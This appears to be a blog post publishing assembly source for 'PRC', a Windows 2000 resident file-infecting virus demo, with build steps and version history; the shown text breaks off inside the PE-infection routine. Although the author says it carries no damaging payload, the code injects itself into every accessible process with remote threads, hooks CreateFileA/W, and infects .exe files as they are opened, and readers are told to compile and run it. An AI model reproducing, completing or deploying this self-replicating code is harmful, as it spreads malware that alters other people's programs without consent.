Win2k病毒Demo

该博客介绍了PRC程序,它类似病毒但无损害代码,展示了Windows下驻留病毒的开发方式。文中给出编译方法,还阐述不同版本特性,如0.9版可注入进程、监控文件操作、感染PE文件,0.91版改进了文件访问方式并修正感染失败未关闭文件的问题。
Win2k病毒Demo

;*********************************************************************
;* *
;* The program information *
;* *
;*Program Name: PRC *
;*Current Version: 0.91(not under strict test) *
;*Completed on 11-25, 2002 *
;* *
;*This program is something like a virus. But it does not contain *
;*any damage code. So it won't do harm to your system. It just *
;*demonstrates a way of developing a resident virus *
;*under Windows. *
;* *
;* You can connect me [archim@163.com] for technic discussions *
;* *
;*===================================================================*
;* *
;*How to complile this program? *
;*tasm32 /m /ml pv.asm, pv.obj *
;*tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj, *
;*pv.exe, , kernel32.lib user32.lib *
;*The two libraries of kernel32.lib and user32.lib can be *
;*attained in the BC++5.5 compiler. *
;* *
;*===================================================================*
;*History *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;*Version: 0.9 *
;*Completed on 11-25, 2002 *
;* *
;*1)It can inject itself into the space of all the active *
;*processes in the system if access is permitted. *
;*2)It can hook the File Storage API functions of CreateFileA *
;*and CreateFileW. If the hook is successfully installed, *
;*all file operations that the process makes will be *
;*monitored by our code. *
;*3)It has the ability to infect the PE files with the *
;*extension ".exe". After the PE file has been infected, *
;*neither its size will increase, nor it will be infected *
;*a more time. *
;* *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;*Version: 0.91 *
;*under modification *
;* *
;*1)Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;*WriteFile and SetFilePointer to access the target file. The *
;*program size become much shorter. *
;*2)Correct the bugs that the file is not closed if the file *
;*fails to be infected. *
;* *
;*********************************************************************

.386P
.model Flat, Stdcall

; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
; affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
; seconds, then search all EXE files containing the string "prcv0.9". If
; any file has been found, it means the program works! If no file are
; found, try more other files, because there are some EXE files the program
; can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
; if it runs under Windows 98 or Windows XP.

;*********************************************************************
FALSE=0
TRUE=1
DEBUG=TRUE
NO_EXCEPTION_HANDLER=TRUE
TRACE_REMOTE_THREAD=0
SKIP_CURRENT_PROCESS=1
INFECT_ALL_PROCESSES=1
NOT_INFECT_FILES=0
ERROR_DIAGNOSE=0
;*********************************************************************


TH32CS_SNAPMODULE=00000008h

FILE_BEGIN=0
FILE_CURRENT=1
FILE_END=2

OPEN_EXISTING=00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS=00000004h
endif

FILE_ATTRIBUTE_NORMAL =00000080h

FILE_SHARE_READ=00000001h
FILE_SHARE_WRITE=00000002h

GENERIC_READ=80000000h
GENERIC_WRITE=40000000h

FILE_MAP_WRITE=00000002h

MB_PRECOMPOSED=00000001h
MB_COMPOSITE=00000002h

CP_ACP=0
CP_OEMCP=1
CP_MACCP=2
CP_THREAD_ACP=3

PAGE_READWRITE=00000004h

FLAG_IN_DATA_SECTION= 00000001h
FLAG_USE_TWO_SECTIONS= 00000002h

MajorVersion= 0
MinorVersion= 9

MAX_PATH=260


;sizeof(IMAGE_NT_HEADERS)
;Section Header offset0xF8

;FieldNameOffset
;---------------------------------------------------------------------
;AddressOfEntryPoint0x28
;SizeOfHeaders0x54
;SizeOfStackCommit0x64
;DataDirectory0x78


;*********************************************************************
;* *
;* Declare funtion prototype *
;* *
;*********************************************************************
GetLastErrorPROTO
MessageBoxAPROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleAPROTO :DWORD
GetProcAddressPROTO :DWORD, :DWORD
CreateFileAPROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileWPROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandlePROTO :DWORD
FindFirstFileAPROTO :DWORD, :DWORD
FindNextFileAPROTO :DWORD, :DWORD

printfPROTO :DWORD


;*********************************************************************
;* *
;* Entry code section *
;* *
;*********************************************************************
_TEXT segment use32 public 'CODE'

VirtualEntry:

call GetLastError

call GetCurrentEipToEbx
$A:
;mov esi, 00400000h
;mov eax, [esi+0000003Ch]
;lea edi, [esi+eax]
;mov edx, [edi+00000080h]
;mov eax, [edx+esi]
;add eax, esi
;mov ecx, [eax+00000010h]

mov edx, offset GetLastError
add edx, 2
mov ecx, [edx]
sub ecx, 00400000h

mov eax, offset RvaOfFirstThunkOfKernel32
sub eax, offset $A
mov [ebx+eax], ecx

mov eax, offset OriginalEntryPoint
sub eax, offset $A
mov ecx, offset lb_ExitCurrentProcess
sub ecx, 00400000h
;add ebx, eax
;push ebp
;mov ebp, esp
;push 00400000h

mov [ebx+eax], ecx
jmp EntryOfVirusCode

lb_ExitCurrentProcess:

ret

_TEXT ends

;*********************************************************************
;* *
;* Data section *
;* *
;*********************************************************************
_DATA segment use32 public 'DATA'

;---- Error Messages
szExceptionCaused db"Exception error captured!",0
szError db"Error",0
FileNameToFinddb'g:/testfile/'
FileNameFound = $
db'*.exe', 0
db 260 dup (?)
TestFileWdw'G', ':', '/', 'P', 'R', 'O', '/', 'T', 'a', 's', 'm', '/'
dw'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileAdb'G:/PRO/TASM/test.exe', 0

W32FindDatadb140h dup(?)

_DATA ends


;*********************************************************************
;* *
;* Main code section *
;* *
;*********************************************************************
VirSegment segment use32 public 'PRC'

MAX_WND_SIZE=1024
OFFSET_CODING_LENGTH=10
M=3

BaseOfVirusCode = $

;*********************************************************************
;* *
;*RestoreCompressedData() *
;* *
;*Remarks: *
;*Restore the compressed data *
;* *
;*Parameters: *
;*[Esi] *
;*Point to the buffer containing decompression information *
;* *
;*Return Value: *
;*None. *
;* *
;*********************************************************************

RestoreCompressedData:

cld
mov edi, [ebp][lpImageBaseBaseOfProcess]
lea edx, [ebx][SizeOfTransmission-@B]
push edx
lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
push ecx
lodsd
push eax
mov edx, edi;<
lodsd;<
add edx, eax;< pDataBuffer
push edx;<
;<
call LZ77Decompress

add edi, [esi]
mov esi, ecx

mov ecx, 'HOLD'
SizeOfTransmission = $-4

push ecx
push esi
push PAGE_READWRITE
mov esi, edi
call InvokeVirtualProtectEx
pop esi
pop ecx

push ecx
push edi

cld
rep movsb

pop esi
pop ecx

push dword ptr [ebx][dwOldProtect-@B]
call InvokeVirtualProtectEx

lb_ExitRestoreCompressedData:

ret


RvaOfEntryPoint = $
dd (offset EntryOfVirusCode - 00400000h)

RvaOfFirstThunkOfKernel32 = $
dd0

DecompressionParametersA = $
dd0 ;Total bits afetr compression.
dd0 ;Rva of the data buffer where the compressed data are stored in.
dd0 ;Rva of the data buffer where the compressed data are restored to.

DecompressionParametersB = $
dd0
dd0
dd0

EntryOfVirusCode:

XX=-4
lpImageBaseBaseOfProcess=XX

if NO_EXCEPTION_HANDLER
XX=XX-4
else
XX=XX-12
endif

lpImageBaseOfKernel32=XX
XX=XX-4
hSnapShot=XX
XX=XX-4
hProcessHandle=XX
XX=XX-4
lpBaseOfCodeInRemoteProcess=XX

pushad
sub esp, VIRUS_BOOTING_SIZE
mov edi, esp

call @A
@A = $
pop ebx

lea eax, [ebx][EntryOfVirusCode-@A]
mov ecx, [ebx][RvaOfEntryPoint-@A]
sub eax, ecx

lea esi, [ebx][BaseOfVirusCode-@A]
mov ecx, VIRUS_PHYSICAL_SIZE
cld
rep movsb
lea ebx, [esp][@B-BaseOfVirusCode]
jmp ebx

@B = $

push ebp
mov ebp, esp

push eax ; Initialize lpImageBaseBaseOfProcess
add [ebx][OriginalEntryPoint-@B], eax

; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
lea eax, [esp-8]
xor esi, esi
xchg eax, fs:[esi]
lea ecx, [ebx][ExceptionHandler-@B]
push ecx
push eax
endif
;=====================================================================

; Let's locate the image base of the module 'Kernel32.dll'.

lb_LoopOfLocateKernel32:

pop eax
push eax

mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
mov eax, [eax+ecx]
add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4

lb_LoopOfCheck64KBoundaries:

and eax, 0FFFF0000h
cmp word ptr [eax], 'ZM'
jnz lb_TryNextBoundary

mov ecx, [eax+0000003Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jnz lb_TryNextBoundary
mov edx, [ecx+00000078h]
add edx, eax
mov esi, [edx+0000000Ch]
add esi, eax
lea edi, [ebx][NameOfKernel32-@B]
call strcmpi
jz lb_ImageBaseOfKernel32IsFound
jmp lb_LoopOfLocateKernel32

lb_TryNextBoundary:

sub eax, 00010000h
jmp lb_LoopOfCheck64KBoundaries

lb_ImageBaseOfKernel32IsFound:

push eax; Intialize lpImageBaseOfKernel32

mov esi, edx
lea edi, [ebx][IfNameTable-@B]

; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:

mov ecx, [edi]
jecxz lb_AllAddressesGotten

push eax
push edi
lea edi, [ebx+ecx]
call GetProcedureAddress
test eax, eax
jz lb_ExitVirusProgram
pop edi
mov [edi][CallAddressTable-IfNameTable], eax
pop eax
add edi, 4
jmp lb_LoopOfGetEntryAddressOfApiFunctions


lb_AllAddressesGotten:

lea esi, [ebx][DecompressionParametersA-@B]
call RestoreCompressedData

jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $

lea esi, [ebx][DecompressionParametersB-@B]
call RestoreCompressedData

lb_NoSecondCompressedSection:

;//}


@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;

; Let's go.
;{
push 0
push 2
call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
test eax, eax
jz lb_AllProcessesEnumerated

push eax ; Initialize hSnapShot

lea eax, [ebx][ProcessEntry32-@C]
mov dword ptr [eax], 00000128h
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32First-@C]
test eax, eax
jz lb_AllProcessesEnumerated

lb_LoopOfEnumerateAllProcesses:

ife INFECT_ALL_PROCESSES
ife SKIP_CURRENT_PROCESS
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jz lb_TryNextProcess

call [ebx][lpfnGetCurrentProcessId-@C]
cmp eax, [ebx][pe_th32ProcessID-@C]
jnz lb_TryNextProcess
else
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jnz lb_TryNextProcess
endif
endif

lb_TargetProcessFound:

mov eax, [ebx][pe_th32ProcessID-@C]
push eax
push 0
push 001F0FFFh ; PROCESS_ALL_ACCESS
call [ebx][lpfnOpenProcess-@C]
test eax, eax
jz lb_TryNextProcess

push eax ; Initailize hProcessHandle

push 00000004h ; PAGE_READWRITE
push 00001000h ; MEM_COMMIT
push VIRUS_ALIGN_SIZE
push 0
push eax
call [ebx][lpfnVirtualAllocEx-@C]
;push eax;<
;call GetLastError;< Debug Code
;pop eax;<
test eax, eax
jz lb_ExitVirusProgram

xchg eax, esi
push esi ; lpBaseOfCodeInRemoteProcess
lea edi, [ebx][ReturnValueFromRemoteProcess-@C]

xor edx, edx
mov [edi], edx ; Initialize return value
push edx
push VIRUS_ALIGN_SIZE
lea ecx, [ebx][BaseOfVirusCode-@C]
push ecx
push esi
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnWriteProcessMemory-@C]
test eax, eax
jz lb_ExitVirusProgram

ife SKIP_CURRENT_PROCESS
push ebx
endif

xor ecx, ecx
push ecx
push ecx
push ecx
lea edx, [esi][RemoteThread-BaseOfVirusCode]
push edx
push ecx
push ecx
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCreateRemoteThread-@C]
;test eax, eax
;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
pop ebx
endif

push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCloseHandle-@C]

lb_TryNextProcess:

lea eax, [ebx][ProcessEntry32-@C]
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32Next-@C]
test eax, eax
jz lb_ExitVirusProgram

jmp lb_LoopOfEnumerateAllProcesses

lb_AllProcessesEnumerated:

push dword ptr [ebp][hSnapShot]
call [ebx][lpfnCloseHandle-@C]

lb_ExitVirusProgram:

;jmp lb_DirectlyExitVirusProgram

lb_DirectlyExitVirusProgram:

ife NO_EXCEPTION_HANDLER
pop dword ptr fs:[0]
pop ecx
endif
mov esp, ebp
pop ebp

add esp, VIRUS_BOOTING_SIZE
popad

push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
ret


;*********************************************************************
;* *
;*Get the current EIP into EAX. You can use this way to locate *
;*the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEax:

pop eax
jmp eax

;*********************************************************************
;* *
;*Get the current EIP into EBX. You can use this way to locate *
;*the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEbx:

pop ebx
jmp ebx


;*********************************************************************
;* *
;*strcmpi() *
;* *
;*Remarks: *
;*This routine compare two strings, case-insensitive. *
;* *
;*Parameters: *
;*[ESI] *
;*Point to string1. *
;*[EDI] *
;*Point to string2 *
;* *
;*Return Value: *
;*If these two strings are identical, *
;*ZF flag will be set. *
;*If these two strings are not identical, *
;*ZF flag will be cleared. *
;* *
;*********************************************************************
strcmpi:

push esi
push edi
push eax
push ecx

xor eax, eax
xor ecx, ecx

lb_LoopOfCompareStrings:
mov al, [esi]
mov cl, [edi]
inc esi
inc edi

cmp eax, 'A'
jb lb_NotAsciiCharacter

cmp eax, 'z'
ja lb_NotAsciiCharacter

cmp eax, 'Z'
jbe lb_IsAsciiCharacter

cmp eax, 'a'
jae lb_IsAsciiCharacter

jmp lb_NotAsciiCharacter

lb_IsAsciiCharacter:
; if the character is a ascii character, just convert it to lower-case.
or eax, 20h
or ecx, 20h

lb_NotAsciiCharacter:

cmp eax, ecx
jnz lb_StringsNotEqual
jecxz lb_StringsIsEqual
jmp lb_LoopOfCompareStrings

lb_StringsIsEqual:
lb_StringsNotEqual:

pop ecx
pop eax
pop edi
pop esi

ret

;*********************************************************************
;* *
;*IsAllZero() *
;*[Param1] *
;*[Param2] *
;* *
;*Remarks: *
;*This routine check if the contents of a specified buffer *
;*are all zero. *
;* *
;*Parameters: *
;*[Param1] *
;*Point to the buffer. *
;*[Param2] *
;*The size of the buffer. *
;* *
;*Return Value: *
;*If the buffer is all filled with Zero, *
;*Z-flag will be set. *
;*If the buffer is not all filled with Zero, *
;*Z-flag will be cleared. *
;* *
;*********************************************************************
IsAllZero:

push esi
push ecx
push eax
xor eax, eax

mov esi, [esp+00000010h]
mov ecx, [esp+00000014h]

cld
lp_GetNextByteToCompare:

lodsb
test eax, eax
jnz lb_ExitIsAllZero
loop lp_GetNextByteToCompare

lb_ExitIsAllZero:

pop eax
pop ecx
pop esi
ret 8

;*********************************************************************
;* *
;*RvaAddressToFileMappingAddress() *
;* *
;*Remarks: *
;*This routine converts the RVA address to the file *
;*offset address. *
;* *
;*Parameters: *
;*[Eax] *
;*The RVA address *
;* *
;*Return Value: *
;*If the RVA address can be converted, the file offset *
;*address will be returned in EAX. Otherwise, NULL will be *
;*returned in EAX. *
;* *
;*********************************************************************
RvaAddressToFileMappingAddress:

push esi
mov esi, [ebp][lpNtHeaders] ; Get Nt Heads

movzx ecx, word ptr [esi+00000006h]
lea esi, [esi+0000000F8H]

lp_CheckAllSections:

mov edx, [esi+0000000Ch]

cmp eax, edx
jb lb_CheckNextSection

add edx, [esi+00000010h]
cmp eax, edx
jae lb_CheckNextSection

sub eax, [esi+0000000Ch]
add eax, [esi+00000014h]
add eax, [ebp][lpFileMapping]
jmp lb_QuitRvaToFilePointer

lb_CheckNextSection:

add esi, 00000028h ;40
loop lp_CheckAllSections

xor eax, eax

lb_QuitRvaToFilePointer:

pop esi
ret


;*********************************************************************
;* *
;*InstallApiHook() *
;*[Param1] *
;*[Param2] *
;* *
;*Remarks: *
;*The routine tries to install a hook on the specified *
;*Windows API function. *
;* *
;*Parameters: *
;*[Eax] *
;*The image base of the module on which the hook function *
;*will be installed. *
;*[Edx] *
;*The RVA of the import descriptor array. *
;*[Esi] *
;*Point to the string which contains the name of the API *
;*function on which the hook will be installed. *
;*[Param1] *
;*The entry address of the hook of the API function. *
;*[Param2] *
;*Point to the variable which saves the original entry *
;*address of the API function. *
;* *
;*Return Value: *
;*If the hook has been successfully installed on the API *
;*function, CF flag will be set. Otherwise, CF flag will *
;*be cleared. *
;* *
;*********************************************************************
InstallApiHook:

PARAMETERS_BASE = 4 + 3*4

push eax
push edx
push esi
push edi

lb_LoopOfCheckImportDescriptors:
push (SIZE_OF_IMPORT_DESCRIPTOR)
push edx
call IsAllZero
jz lb_ApiHookInstallationFail

mov ecx, [edx]
jecxz lb_TryNextImportDescriptor

add ecx, eax

lb_LoopOfCheckDataThunks:

mov edi, [ecx]
test edi, edi
jz lb_TryNextImportDescriptor
test edi, 80000000h
jnz lb_TryNextDataThunk

add edi, eax
inc edi
inc edi
call strcmpi
jz lb_ApiFunctionIsFound

lb_TryNextDataThunk:

add ecx, 4
jmp lb_LoopOfCheckDataThunks

lb_TryNextImportDescriptor:

add edx, SIZE_OF_IMPORT_DESCRIPTOR
jmp lb_LoopOfCheckImportDescriptors

lb_ApiFunctionIsFound:

mov edi, [edx+00000010h]
sub edi, [edx]
add ecx, edi

push PAGE_READWRITE
mov esi, ecx
xor ecx, ecx
call InvokeVirtualProtectEx
test eax, eax
jz lb_ApiHookInstallationFail

mov eax, [esi];<
mov ecx, [esp+00000014h];<
mov edx, [ecx] ;<
cmp [eax], edx;<
jz lb_ApiHookAlreadyInstalled;<

mov edx, [esp+00000018h];< Save the original entry address of
mov [edx], eax;< the API function

mov [esi], ecx;Modify the entry address of the API function

push dword ptr [ebx][dwOldProtect-@X]
xor ecx, ecx
call InvokeVirtualProtectEx
test eax, eax
jz lb_ApiHookInstallationFail

stc
jmp lb_ExitInstallApiHook


lb_ApiHookInstallationFail:
lb_ApiHookAlreadyInstalled:

clc

lb_ExitInstallApiHook:

pop edi
pop esi
pop edx
pop eax
ret 8


;*********************************************************************
;* *
;*Remarks: *
;*The rountine run in the context of a remote process. It will *
;*try to install a hook on the API functions of CreateFileA *
;*and CreateFileW *
;* *
;*Parameters: *
;*[Param1]: *
;*The thread which call CreateRemoteThread to create this *
;*thread pass the parameter. The parameter is not used here. *
;* *
;*Return Value: *
;*If the hooks have been successfully installed, the return *
;*value is 1, otherwise -1 will be returned. *
;* *
;*********************************************************************
XX=-4
hSnapShotOfModuleEnumeration=XX
XX=XX-4
lpModuleEntry32=XX
XX=XX-4
dwReturnValue=XX
XX=XX-4

RemoteThread:

; The follow statements looks like a dead loop. Yes, it is so.
; But they are helpful in tracing the thread in the remote process.
; When the thread is created in the remote process, it will
; immediately runes into the dead-loop. It won't go out unitil
; somebody help it. First you can activate the process in the
; context of whom the thread has been created. Now you can
; activate SoftIce by pressing CTRL+D. You have a very big chance
; to get the breakpoint which is exactly located in the dead-loop.
; Now you can modify ECX register to any non-zero value. The
; dead loop no longer exists. And you can trace thread in the
; context of the remote process.
if TRACE_REMOTE_THREAD
xor ecx, ecx
jecxz $
endif

push ebp
mov ebp, esp

call GetCurrentEipToEbx
@Xd:
add ebx, @X - @Xd

push 0
push TH32CS_SNAPMODULE
call [ebx][lpfnCreateToolhelp32Snapshot-@X]
test eax, eax
jz lb_ExitRemoteThread

push eax;Initialzie hSnapShotOfModuleEnumeration

lea edi, [ebx][ModuleEntry32-@X]
mov dword ptr [edi], 00000224h
push edi;Initialize lpModuleEntry32
push -1;Initialize dwReturnValue

push edi
push eax
call [ebx][lpfnModule32First-@X]
test eax, eax
jz lb_ExitRemoteThread

lb_LoopOfEnumerateModulesOfCurrentProcess:

mov eax, [edi][me_modBaseAddr-ModuleEntry32]
mov ecx, [eax+0000003Ch]
lea edx, [eax+ecx]
mov ecx, [edx+00000080h]
jecxz lb_TryNextModule
lea edx, [eax+ecx]

;push 247C8B60h
lea esi, [ebx][n_CreateFileW-@X]
lea ecx, [ebx][OriginalEntryOfCreateFileW-@X]
push ecx
lea ecx, [ebx][HookOfCreateFileW-@X]
push ecx
call InstallApiHook
jnc lb_TryToInstallHookOnCreateFileA

push 1
pop dword ptr [ebp][dwReturnValue]

lb_TryToInstallHookOnCreateFileA:

;push 24748B60h
lea esi, [ebx][n_CreateFileA-@X]
lea ecx, [ebx][OriginalEntryOfCreateFileA-@X]
push ecx
lea ecx, [ebx][HookOfCreateFileA-@X]
push ecx
call InstallApiHook
jnc lb_TryNextModule

push 1
pop dword ptr [ebp][dwReturnValue]

lb_TryNextModule:

push edi
push dword ptr [ebp][hSnapShotOfModuleEnumeration]
call [ebx][lpfnModule32Next-@X]
test eax, eax
jz lb_ExitRemoteThread

jmp lb_LoopOfEnumerateModulesOfCurrentProcess

lb_ExitRemoteThread:

push dword ptr [ebp][hSnapShotOfModuleEnumeration]
call [ebx][lpfnCloseHandle-@X]

pop eax
mov esp, ebp
pop ebp

cmp eax, 1
jz lb_ApiHookSuccessfullyinstalled

pop ecx
pop edx
push 00004000h
push VIRUS_ALIGN_SIZE
lea edx, [ebx][BaseOfVirusCode-@X]
push edx
push -1
push ecx
jmp [ebx][lpfnVirtualFreeEx-@X]

lb_ApiHookSuccessfullyinstalled:

mov byte ptr [ebx][IsBusy-@X], 0 ; Initialize the Busy Flag
ret 04

;*********************************************************************
;* *
;*InvokeVirtualProtectEx() *
;*[Param1] *
;* *
;*Remarks: *
;*Invoke the Windows API function of VirtualProtectEx to *
;*change R/W access of the specified memory block. *
;* *
;*Parameters: *
;*[Esi]: *
;*Pointer to the start address of the buffer whose R/W access *
;*will be changed. *
;*[Ecx]: *
;*The size of the buffer. *
;*[Param1]: *
;*New R/W access for the buffer. *
;* *
;*Return Value: *
;*The value returned returned from VirtualProtectEx. *
;* *
;*********************************************************************
InvokeVirtualProtectEx:

call GetCurrentEipToEax
@8 = $
pop dword ptr [eax][ReturnFromInvokeVirtualProtectEx-@8]
add eax, dwOldProtect - @8

pop edx
push eax
push edx
test ecx, ecx
jnz lb_UseSpecifiedSize
mov ecx, 00001000h
lb_UseSpecifiedSize:
push ecx
mov edx, esi
and edx, 0FFFFF000h
push edx
push -1
call dword ptr [eax][lpfnVirtualProtectEx-dwOldProtect]

push 'HOLD'
ReturnFromInvokeVirtualProtectEx = $-4
ret


;*********************************************************************
;*
;*Hook functions on the API functions of CreateFileA and
;*CreateFileW. When someting want to call the API function of
;* CreateFileA or CreateFileW anyway, our hook functions will get
;*called first. You can do anything you want in the hook
;*functions. And then you will call the real CreateFileA or
;*CreateFileW function which is exported by kernel32.dll to
;*complete the file creation request.
;*
;*********************************************************************
;HANDLE CreateFile(
; LPCTSTR lpFileName, // file name
; DWORD dwDesiredAccess, // access mode
; DWORD dwShareMode, // share mode
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD
; DWORD dwCreationDisposition, // how to create
; DWORD dwFlagsAndAttributes, // file attributes
; HANDLE hTemplateFile // handle to template file
; )
; The stack is like the following figure when FindFirstFile is called
; ______________________________
; | Return Address | <<== ESP (Low Address)
; |______________________________|
; | lpFileName |
; |______________________________|
; | dwDesiredAccess |
; |______________________________|
; | dwShareMode |
; |______________________________|
; | lpSecurityAttributes |
; |______________________________|
; | dwCreationDisposition |
; |______________________________|
; | dwFlagsAndAttributes |
; |______________________________|
; | hTemplateFile |
; |______________________________|
;
;
; After PUSHAD statement is executed, the stack looks like this:
; ______________________________
; | EDI | 000h: | <<== ESP
; |______________________________| |
; | ESI | 004h: |
; |______________________________| |
; | EBP | 008H |
; |______________________________| |
; | ESP | 00CH | pushad
; |______________________________| |
; | EDX | 010h |
; |______________________________| |
; | ECX | 014H |
; |______________________________| |
; | EBX | 018H |
; |______________________________| |
; | EAX | 01CH |
; |______________________________| |__
; | Return Address | 020H
; |______________________________|
; | lpFileName | 024h
; |______________________________|
; | dwDesiredAccess | 028h
; |______________________________|
; | dwShareMode | 02CH
; |______________________________|
; | lpSecurityAttributes | 030H
; |______________________________|
; | dwCreationDisposition | 034H
; |______________________________|
; | dwFlagsAndAttributes | 038H
; |______________________________|
; | hTemplateFile | 03CH
; |______________________________|


HookOfCreateFileW:

pushad

mov edi, [esp+00000024h]
call InfectPeFile

popad
push 'Hold'
OriginalEntryOfCreateFileW = $-4
ret


HookOfCreateFileA:

pushad
mov esi, [esp+00000024h]
call GetCurrentEipToEax
@0:
lea edi, [eax+00001000h][BaseOfVirusCode-@0]
;lea edi, [eax+00000E00h][BaseOfVirusCode-@0]

push 0000200h
push edi
push -1
push esi
;push MB_PRECOMPOSED
push MB_COMPOSITE
push CP_THREAD_ACP
call [eax][lpfnMultiByteToWideChar-@0]
test eax, eax
jz lb_ExitHookOfCreateFileA

call InfectPeFile

lb_ExitHookOfCreateFileA:

popad
push 'Hold'
OriginalEntryOfCreateFileA = $-4
ret

;*********************************************************************
;* *
;*InfectPeFile() *
;* *
;*Remarks: *
;*Infect the specified PE file with our virus code. *
;* *
;*Parameters: *
;*[Edi] *
;*Point to a null-terminated wide-character string containing *
;*the PE file name. *
;* *
;*Return Value: *
;*None. *
;* *
;*********************************************************************
X=-4
XX=-4
tmpVar=XX
dwNumberOfBytesRead=(tmpVar)
dwNumberOfBytesWritten=(tmpVar)
XX=XX-4
i=XX
ulAddressOfVCode=XX
XX=XX-4
pSectionOfOriginalDataAndCode=XX

DWORDSofCompressionInfo=6

XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoAA=XX
XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoBB=XX
off_pSection=0000h
off_OriginalVirtualAddress=0004h
off_pCompressedDataBuffer=0008h
off_ulNumTotalBits=000Ch
off_ulNumUsedBytes=0010h
off_ulNumFreeBytes=0014h
XX=XX-4
SIZE_OF_LOCAL_VARS=X-XX

lpszFileNameToOpen=XX
XX=XX-4
hFileHandle=XX
XX=XX-4
hFileMappingHandle=XX
XX=XX-4
lpFileMapping=XX
XX=XX-4
dwTotalFileSize=XX
XX=XX-4
lpNtHeaders=XX
XX=XX-4
ulInformation=XX
XX=XX-4

InfectPeFile:

push ebp
mov ebp, esp

call GetCurrentEipToEbx
RelocE = $
add ebx, @X - RelocE

lea eax, [ebx][IsBusy-@X]
cmp byte ptr [eax], 0
jnz lb_IsBusyNow
inc byte ptr [eax]

sub esp, SIZE_OF_LOCAL_VARS

push edi; initialize lpszFileNameToOpen

if NOT_INFECT_FILES

xor ecx, ecx
push ecx
push FILE_ATTRIBUTE_NORMAL
push (OPEN_ALWAYS)
push ecx
push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
push (GENERIC_READ OR GENERIC_WRITE)
lea eax, [ebx][LogFileName-@X]
push eax
call [ebx][lpfnCreateFileA-@X]
cmp eax, -1
jz lb_ExitInfectPeFile

mov esi, eax

xor ecx, ecx
push FILE_END
push ecx
push ecx
push esi
call [ebx][lpfnSetFilePointer-@X]

push 0000200h
lea edi, [ebx+00002000h][BaseOfVirusCode-@X]
push edi
push -1
lea eax, [ebx][pe_szExeFile-@X]
push eax
push MB_COMPOSITE
push CP_ACP
call [ebx][lpfnMultiByteToWideChar-@X]
test eax, eax
jz lb_LogFail

push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
add eax, eax
dec eax
dec eax
push eax
push edi
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail

push dword ptr ':'
mov eax, esp

push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push 2
push eax
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail

pop eax
pop edi
push edi

xor eax, eax
lp_FindNullWChar:
movzx ecx, word ptr [edi]
jecxz lb_WStringEnd
inc eax
inc eax
inc edi
inc edi
jmp lp_FindNullWChar

lb_WStringEnd:

pop edi

push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push eax
push edi
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail

push dword ptr 000A000Dh
mov eax, esp

push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push 4
push eax
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail

lb_LogFail:

push esi
call [ebx][lpfnCloseHandle-@X]

jmp lb_ExitInfectPeFile

endif

xor eax, eax
mov esi, edi

lp_FindTheEndOfWideString:

movzx ecx, word ptr [esi]
jecxz lb_WideStringTerminate
inc esi
inc esi
jmp lp_FindTheEndOfWideString

lb_WideStringTerminate:

xor eax, eax
push 4
pop ecx

lp_Convert4WideCharsToAnsiChars:
shl eax, 8
dec esi
dec esi
mov al, [esi]
loop lp_Convert4WideCharsToAnsiChars

or eax, 20202000h
cmp eax, 'exe.'
jnz lb_ExitInfectPeFile

if DEBUG

mov edx, [esi-4]
or edx, 00200020h
cmp edx, 00740073H
jnz lb_ExitInfectPeFile

mov edx, [esi-8]
or edx, 00200020h
cmp edx, 00650074H
jnz lb_ExitInfectPeFile

endif

push edi
call [ebx][lpfnGetFileAttributesW-@X]
cmp eax, -1
jz lb_ExitInfectPeFile
xchg eax, esi

push FILE_ATTRIBUTE_NORMAL;<
push edi;< Try to change file attributes
